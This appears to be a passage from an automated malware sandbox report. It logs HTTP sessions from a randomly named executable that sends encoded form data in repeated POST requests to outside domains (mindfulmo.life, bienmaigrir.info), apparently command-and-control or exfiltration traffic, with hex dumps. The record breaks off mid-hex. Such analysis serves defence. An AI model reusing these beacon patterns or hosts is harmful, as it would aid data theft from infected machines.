                                                                        User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                        Nov 27, 2024 20:48:19.403644085 CET312INHTTP/1.1 404 Not Found
                                                                        Server: nginx
                                                                        Date: Wed, 27 Nov 2024 19:48:18 GMT
                                                                        Content-Type: text/html
                                                                        Content-Length: 148
                                                                        Connection: close
                                                                        ETag: "66a7b148-94"
                                                                        Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20
                                                                        Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        9192.168.2.849752209.74.77.108805860C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Nov 27, 2024 20:48:24.998116016 CET725OUTPOST /grm8/ HTTP/1.1
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Encoding: gzip, deflate, br
                                                                        Accept-Language: en-US,en;q=0.5
                                                                        Cache-Control: no-cache
                                                                        Content-Length: 205
                                                                        Connection: close
                                                                        Content-Type: application/x-www-form-urlencoded
                                                                        Host: www.mindfulmo.life
                                                                        Origin: http://www.mindfulmo.life
                                                                        Referer: http://www.mindfulmo.life/grm8/
                                                                        User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                        Data Raw: 6e 6c 46 30 3d 47 56 32 6f 56 70 48 78 4e 39 77 61 77 6b 4b 54 4e 39 71 52 6e 43 79 73 54 4a 2f 78 39 4c 56 32 52 41 33 30 49 49 51 48 6c 52 30 37 36 69 4b 61 45 67 6d 51 33 2f 44 4d 4e 77 2b 2b 62 51 35 70 35 4b 75 67 6b 57 34 47 36 30 54 42 75 6a 6e 38 7a 5a 4c 79 56 59 46 45 55 30 64 55 36 73 66 43 56 76 34 63 52 4e 34 41 48 47 2f 30 2b 70 44 51 62 4e 6a 69 7a 47 55 45 50 48 32 33 48 61 42 38 4b 76 59 30 67 30 43 6a 51 34 72 71 69 47 76 4c 6a 57 79 32 4c 36 4f 58 42 37 38 5a 47 78 39 6a 4c 49 74 77 33 58 63 75 34 30 71 37 39 67 71 4b 52 62 74 42 62 4d 52 44 32 6f 66 61 5a 6a 63 38 62 7a 6b 37 58 64 77 3d
                                                                        Data Ascii: nlF0=GV2oVpHxN9wawkKTN9qRnCysTJ/x9LV2RA30IIQHlR076iKaEgmQ3/DMNw++bQ5p5KugkW4G60TBujn8zZLyVYFEU0dU6sfCVv4cRN4AHG/0+pDQbNjizGUEPH23HaB8KvY0g0CjQ4rqiGvLjWy2L6OXB78ZGx9jLItw3Xcu40q79gqKRbtBbMRD2ofaZjc8bzk7Xdw=
                                                                        Nov 27, 2024 20:48:26.357942104 CET533INHTTP/1.1 404 Not Found
                                                                        Date: Wed, 27 Nov 2024 19:48:26 GMT
                                                                        Server: Apache
                                                                        Content-Length: 389
                                                                        Connection: close
                                                                        Content-Type: text/html
                                                                        Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED]
                                                                        Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>


                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        10192.168.2.849762209.74.77.108805860C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Nov 27, 2024 20:48:27.675154924 CET745OUTPOST /grm8/ HTTP/1.1
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Encoding: gzip, deflate, br
                                                                        Accept-Language: en-US,en;q=0.5
                                                                        Cache-Control: no-cache
                                                                        Content-Length: 225
                                                                        Connection: close
                                                                        Content-Type: application/x-www-form-urlencoded
                                                                        Host: www.mindfulmo.life
                                                                        Origin: http://www.mindfulmo.life
                                                                        Referer: http://www.mindfulmo.life/grm8/
                                                                        User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                        Data Raw: 6e 6c 46 30 3d 47 56 32 6f 56 70 48 78 4e 39 77 61 7a 45 36 54 4f 65 79 52 67 69 79 6a 57 4a 2f 78 30 72 56 71 52 41 37 30 49 4a 6b 78 6c 6e 6b 37 30 6e 32 61 46 68 6d 51 37 66 44 4d 5a 67 2b 33 55 77 35 75 35 4b 69 6f 6b 58 55 47 36 33 76 42 75 6a 58 38 79 75 58 78 56 49 46 4b 66 55 64 57 2b 73 66 43 56 76 34 63 52 4e 38 71 48 47 58 30 2f 61 72 51 42 76 4c 39 74 57 55 48 49 48 32 33 44 61 42 34 4b 76 59 7a 67 31 65 5a 51 37 44 71 69 44 72 4c 67 48 79 33 41 36 4f 52 50 62 39 79 4a 43 45 63 49 49 68 4f 2b 30 45 35 78 32 36 6a 34 57 62 67 4c 35 6c 48 59 4d 35 6f 32 72 33 73 63 55 42 55 42 51 30 4c 4a 4b 6e 46 6b 4f 65 66 67 67 63 34 39 37 66 6d 34 67 70 4c 77 36 2f 73
                                                                        Data Ascii: nlF0=GV2oVpHxN9wazE6TOeyRgiyjWJ/x0rVqRA70IJkxlnk70n2aFhmQ7fDMZg+3Uw5u5KiokXUG63vBujX8yuXxVIFKfUdW+sfCVv4cRN8qHGX0/arQBvL9tWUHIH23DaB4KvYzg1eZQ7DqiDrLgHy3A6ORPb9yJCEcIIhO+0E5x26j4WbgL5lHYM5o2r3scUBUBQ0LJKnFkOefggc497fm4gpLw6/s
                                                                        Nov 27, 2024 20:48:29.061094999 CET533INHTTP/1.1 404 Not Found
                                                                        Date: Wed, 27 Nov 2024 19:48:28 GMT
                                                                        Server: Apache
                                                                        Content-Length: 389
                                                                        Connection: close
                                                                        Content-Type: text/html
                                                                        Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED]
                                                                        Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>


                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        11192.168.2.849768209.74.77.108805860C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Nov 27, 2024 20:48:30.349726915 CET1762OUTPOST /grm8/ HTTP/1.1
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Encoding: gzip, deflate, br
                                                                        Accept-Language: en-US,en;q=0.5
                                                                        Cache-Control: no-cache
                                                                        Content-Length: 1241
                                                                        Connection: close
                                                                        Content-Type: application/x-www-form-urlencoded
                                                                        Host: www.mindfulmo.life
                                                                        Origin: http://www.mindfulmo.life
                                                                        Referer: http://www.mindfulmo.life/grm8/
                                                                        User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                        Data Raw: 6e 6c 46 30 3d 47 56 32 6f 56 70 48 78 4e 39 77 61 7a 45 36 54 4f 65 79 52 67 69 79 6a 57 4a 2f 78 30 72 56 71 52 41 37 30 49 4a 6b 78 6c 6e 73 37 30 52 43 61 45 43 4f 51 36 66 44 4d 61 67 2b 79 55 77 34 72 35 4f 47 73 6b 58 6f 34 36 79 6a 42 74 41 76 38 36 2f 58 78 4d 34 46 4b 43 45 64 56 36 73 65 57 56 76 4a 56 52 4e 73 71 48 47 58 30 2f 63 58 51 50 74 6a 39 76 57 55 45 50 48 32 42 48 61 42 55 4b 75 77 46 67 31 4b 7a 51 4b 6a 71 6c 6a 37 4c 76 56 61 33 4e 36 4f 54 43 37 39 71 4a 44 34 39 49 49 39 43 2b 33 59 66 78 30 71 6a 37 67 47 52 62 62 56 6e 4f 4c 42 55 30 34 37 33 61 6b 56 55 4d 54 59 34 4f 64 50 44 72 2b 57 6a 77 68 55 70 78 59 4b 73 6c 6b 35 43 39 2f 65 78 56 4f 52 46 70 63 4e 68 34 46 5a 58 54 4e 4c 30 47 69 71 64 38 32 4a 32 6d 6f 77 4f 55 50 6e 44 34 79 67 68 79 43 65 43 47 64 6e 66 2b 47 79 54 4f 41 77 2b 33 2f 78 56 77 34 57 75 39 39 79 65 59 73 4c 73 66 41 54 56 76 6a 4b 54 74 4b 5a 2f 4c 51 4d 5a 33 4b 51 33 47 63 55 44 47 70 61 6f 51 63 50 37 31 51 73 77 4d 79 53 2b 75 4c 2b 43 49 [TRUNCATED]
                                                                        Data Ascii: nlF0=GV2oVpHxN9wazE6TOeyRgiyjWJ/x0rVqRA70IJkxlns70RCaECOQ6fDMag+yUw4r5OGskXo46yjBtAv86/XxM4FKCEdV6seWVvJVRNsqHGX0/cXQPtj9vWUEPH2BHaBUKuwFg1KzQKjqlj7LvVa3N6OTC79qJD49II9C+3Yfx0qj7gGRbbVnOLBU0473akVUMTY4OdPDr+WjwhUpxYKslk5C9/exVORFpcNh4FZXTNL0Giqd82J2mowOUPnD4yghyCeCGdnf+GyTOAw+3/xVw4Wu99yeYsLsfATVvjKTtKZ/LQMZ3KQ3GcUDGpaoQcP71QswMyS+uL+CIk6L3ALyBMxNC6tCBusXwAfzGBEU2DpvYif1wo2uPUqneOvemH4feuwjTjlYCJKSNZa42yjH+H81euYIwjVmxbrsJXevGZfUAygC3P5oWTIJHVucYGmGQjFsHHt20mEJOl2M4Crmta1zRpi8rzy35WOLvV4KrrSlyX/PYCynfwMZEYRl3wLi0EvJjwtVpFlvA/M6Y3uFg+QCO8aCLnbJxKL2RDwoL/o3TTHZ1ZeqhLQwdaQA2nuQKUYFkLgxHpF28tF4uY4H6mfaOlizbA7FAukmIjlq1BUXqdeVVbkRhH8lbAloPa2txNJ3L3Pn2DVSwGmTJ29j8r1+PipRgSCRc0+ru3lGXRKmmyTsq16gY+jnBaq9omjQD3rePDNFtH96Nmtj5qbsLbMc2ScK461yjn4CbyIemEzRAa5Veg/44AtRh4etPkJmVXkoNz8q1fivtJvg/64xEYCWlUbZfVXk1FF8ngIoGhKkgUuZZBxPjX7EFSWe5+yEWdI1akNAdEQMdXqmNNUp79UdQ38Yhl0KprV7A+gcNn6gd2yiKPn4Eu39F5v7w72fo+FJ4RFoFwDxVm1SIAX9X6DkH2iG/s1hC12v/KfSnp72kkB+nTSJs2M+VjNQtxg36ECv60RY3qY+6kaEZgEPamqrsbedW7arq5DtRwu4pp/mKTz [TRUNCATED]
                                                                        Nov 27, 2024 20:48:31.681597948 CET533INHTTP/1.1 404 Not Found
                                                                        Date: Wed, 27 Nov 2024 19:48:31 GMT
                                                                        Server: Apache
                                                                        Content-Length: 389
                                                                        Connection: close
                                                                        Content-Type: text/html
                                                                        Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED]
                                                                        Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>


                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        12192.168.2.849773209.74.77.108805860C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Nov 27, 2024 20:48:33.012577057 CET469OUTGET /grm8/?nlF0=LXeIWcjRI+0vwDaXEde7oG2YWcXnzKtvPQ+DeJcDhGcq3DSHHwCG/Mepb2eQXiRJ2aihtUY8szHS/Cbz5IjtUPRbTG8nt7O2FfRoY/0RbVrb6bT9KMHYixEWTGSEBbACfQ==&UDg=ZFTXPHspLZsHZTR HTTP/1.1
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Language: en-US,en;q=0.5
                                                                        Connection: close
                                                                        Host: www.mindfulmo.life
                                                                        User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                        Nov 27, 2024 20:48:34.503015995 CET548INHTTP/1.1 404 Not Found
                                                                        Date: Wed, 27 Nov 2024 19:48:34 GMT
                                                                        Server: Apache
                                                                        Content-Length: 389
                                                                        Connection: close
                                                                        Content-Type: text/html; charset=utf-8
                                                                        Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED]
                                                                        Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>


                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        13192.168.2.84978735.220.176.144805860C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Nov 27, 2024 20:48:40.552148104 CET731OUTPOST /z7sc/ HTTP/1.1
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Encoding: gzip, deflate, br
                                                                        Accept-Language: en-US,en;q=0.5
                                                                        Cache-Control: no-cache
                                                                        Content-Length: 205
                                                                        Connection: close
                                                                        Content-Type: application/x-www-form-urlencoded
                                                                        Host: www.bienmaigrir.info
                                                                        Origin: http://www.bienmaigrir.info
                                                                        Referer: http://www.bienmaigrir.info/z7sc/
                                                                        User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                        Data Raw: 6e 6c 46 30 3d 6f 72 61 6b 31 30 57 53 6f 49 69 55 69 57 69 4e 56 69 56 52 68 45 55 75 65 6a 69 51 6f 6a 71 39 35 77 43 4c 6e 70 45 78 62 6f 38 47 57 36 43 37 35 7a 4c 76 4b 61 6e 58 4c 63 54 2b 45 63 35 38 62 6e 51 4e 41 78 34 6a 72 35 41 75 4c 4d 4a 74 68 38 38 79 53 6b 73 64 56 4c 49 54 46 35 38 30 44 61 64 53 4b 68 6d 46 76 73 58 63 4a 76 2b 6e 66 69 56 32 41 54 38 72 66 58 44 6a 6b 43 32 63 4a 66 78 4e 30 44 50 61 32 4e 66 35 31 72 70 49 62 66 71 76 45 34 42 64 76 30 6b 6d 75 61 31 7a 39 70 34 63 30 44 32 53 38 66 6a 75 49 34 72 64 2f 38 77 2f 4d 43 69 63 66 57 66 6f 36 4b 36 30 4b 74 67 43 67 79 34 3d
                                                                        Data Ascii: nlF0=orak10WSoIiUiWiNViVRhEUuejiQojq95wCLnpExbo8GW6C75zLvKanXLcT+Ec58bnQNAx4jr5AuLMJth88ySksdVLITF580DadSKhmFvsXcJv+nfiV2AT8rfXDjkC2cJfxN0DPa2Nf51rpIbfqvE4Bdv0kmua1z9p4c0D2S8fjuI4rd/8w/MCicfWfo6K60KtgCgy4=
                                                                        Nov 27, 2024 20:48:42.124039888 CET289INHTTP/1.1 404 Not Found
                                                                        Server: nginx
                                                                        Date: Wed, 27 Nov 2024 19:48:41 GMT
                                                                        Content-Type: text/html
                                                                        Content-Length: 146
                                                                        Connection: close
                                                                        Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                        Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        14192.168.2.84979435.220.176.144805860C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Nov 27, 2024 20:48:43.220160007 CET751OUTPOST /z7sc/ HTTP/1.1
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Encoding: gzip, deflate, br
                                                                        Accept-Language: en-US,en;q=0.5
                                                                        Cache-Control: no-cache
                                                                        Content-Length: 225
                                                                        Connection: close
                                                                        Content-Type: application/x-www-form-urlencoded
                                                                        Host: www.bienmaigrir.info
                                                                        Origin: http://www.bienmaigrir.info
                                                                        Referer: http://www.bienmaigrir.info/z7sc/
                                                                        User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                        Data Raw: 6e 6c 46 30 3d 6f 72 61 6b 31 30 57 53 6f 49 69 55 6a 7a 79 4e 54 44 56 52 6e 6b 55 74 62 6a 69 51 78 54 71 35 35 77 4f 4c 6e 6f 41 68 62 61 59 47 57 65 47 37 2b 32 2f 76 66 61 6e 58 54 73 54 42 41 63 35 4a 62 6e 4e 2b 41 30 51 6a 72 35 55 75 4c 4d 35 74 67 4e 38 78 54 30 73 44 59 72 49 52 4b 5a 38 30 44 61 64 53 4b 68 69 38 76 73 66 63 49 66 4f 6e 66 41 74 33 47 6a 38 6f 59 58 44 6a 33 53 32 59 4a 66 78 6a 30 42 37 67 32 4f 6e 35 31 70 42 49 61 4f 71 77 4b 34 42 62 67 55 6c 6d 70 36 41 34 2f 62 41 59 76 6a 2b 74 36 4a 6d 58 4e 4f 61 33 6c 65 34 35 50 43 4b 33 66 56 33 65 2f 39 6e 63 51 4f 77 79 2b 6c 73 71 67 69 6f 73 2b 46 54 43 73 37 49 4d 38 74 6e 76 65 30 33 35
                                                                        Data Ascii: nlF0=orak10WSoIiUjzyNTDVRnkUtbjiQxTq55wOLnoAhbaYGWeG7+2/vfanXTsTBAc5JbnN+A0Qjr5UuLM5tgN8xT0sDYrIRKZ80DadSKhi8vsfcIfOnfAt3Gj8oYXDj3S2YJfxj0B7g2On51pBIaOqwK4BbgUlmp6A4/bAYvj+t6JmXNOa3le45PCK3fV3e/9ncQOwy+lsqgios+FTCs7IM8tnve035


                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        15192.168.2.84980135.220.176.144805860C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Nov 27, 2024 20:48:45.918971062 CET1768OUTPOST /z7sc/ HTTP/1.1
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Encoding: gzip, deflate, br
                                                                        Accept-Language: en-US,en;q=0.5
                                                                        Cache-Control: no-cache
                                                                        Content-Length: 1241
                                                                        Connection: close
                                                                        Content-Type: application/x-www-form-urlencoded
                                                                        Host: www.bienmaigrir.info
                                                                        Origin: http://www.bienmaigrir.info
                                                                        Referer: http://www.bienmaigrir.info/z7sc/
                                                                        User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                        Data Raw: 6e 6c 46 30 3d 6f 72 61 6b 31 30 57 53 6f 49 69 55 6a 7a 79 4e 54 44 56 52 6e 6b 55 74 62 6a 69 51 78 54 71 35 35 77 4f 4c 6e 6f 41 68 62 61 51 47 57 72 53 37 34 56 58 76 4e 71 6e 58 4e 63 54 36 41 63 35 51 62 6e 45 57 41 30 63 56 72 37 73 75 4c 74 5a 74 6f 66 55 78 4b 6b 73 44 48 37 49 51 46 35 39 77 44 61 4e 73 4b 68 53 38 76 73 66 63 49 64 6d 6e 49 43 56 33 45 6a 38 72 66 58 44 52 6b 43 32 38 4a 66 49 65 30 42 76 77 32 2b 48 35 32 4a 52 49 63 34 65 77 43 34 42 5a 6c 55 6c 49 70 36 63 33 2f 62 4d 2b 76 69 36 48 36 4f 71 58 4d 4b 36 70 34 76 67 47 5a 78 32 30 62 45 6a 38 6e 39 7a 76 59 39 6b 66 31 31 74 4b 75 6b 38 69 34 47 48 6b 69 4b 42 67 2f 49 58 64 52 7a 2b 79 68 42 7a 58 51 6b 51 71 6c 6d 30 2f 6b 57 73 67 59 56 68 77 58 7a 73 31 67 2b 61 44 77 70 43 6d 46 4e 71 4a 7a 6f 6a 4b 65 6e 58 66 32 76 71 51 58 75 38 47 64 51 59 5a 65 43 6b 51 66 78 39 6e 33 43 65 49 65 4b 67 6f 62 64 72 7a 63 65 68 58 53 39 53 51 45 6f 6e 6d 75 36 32 6b 46 6b 2f 67 36 56 68 72 57 4c 50 69 36 73 30 73 67 52 4c 59 36 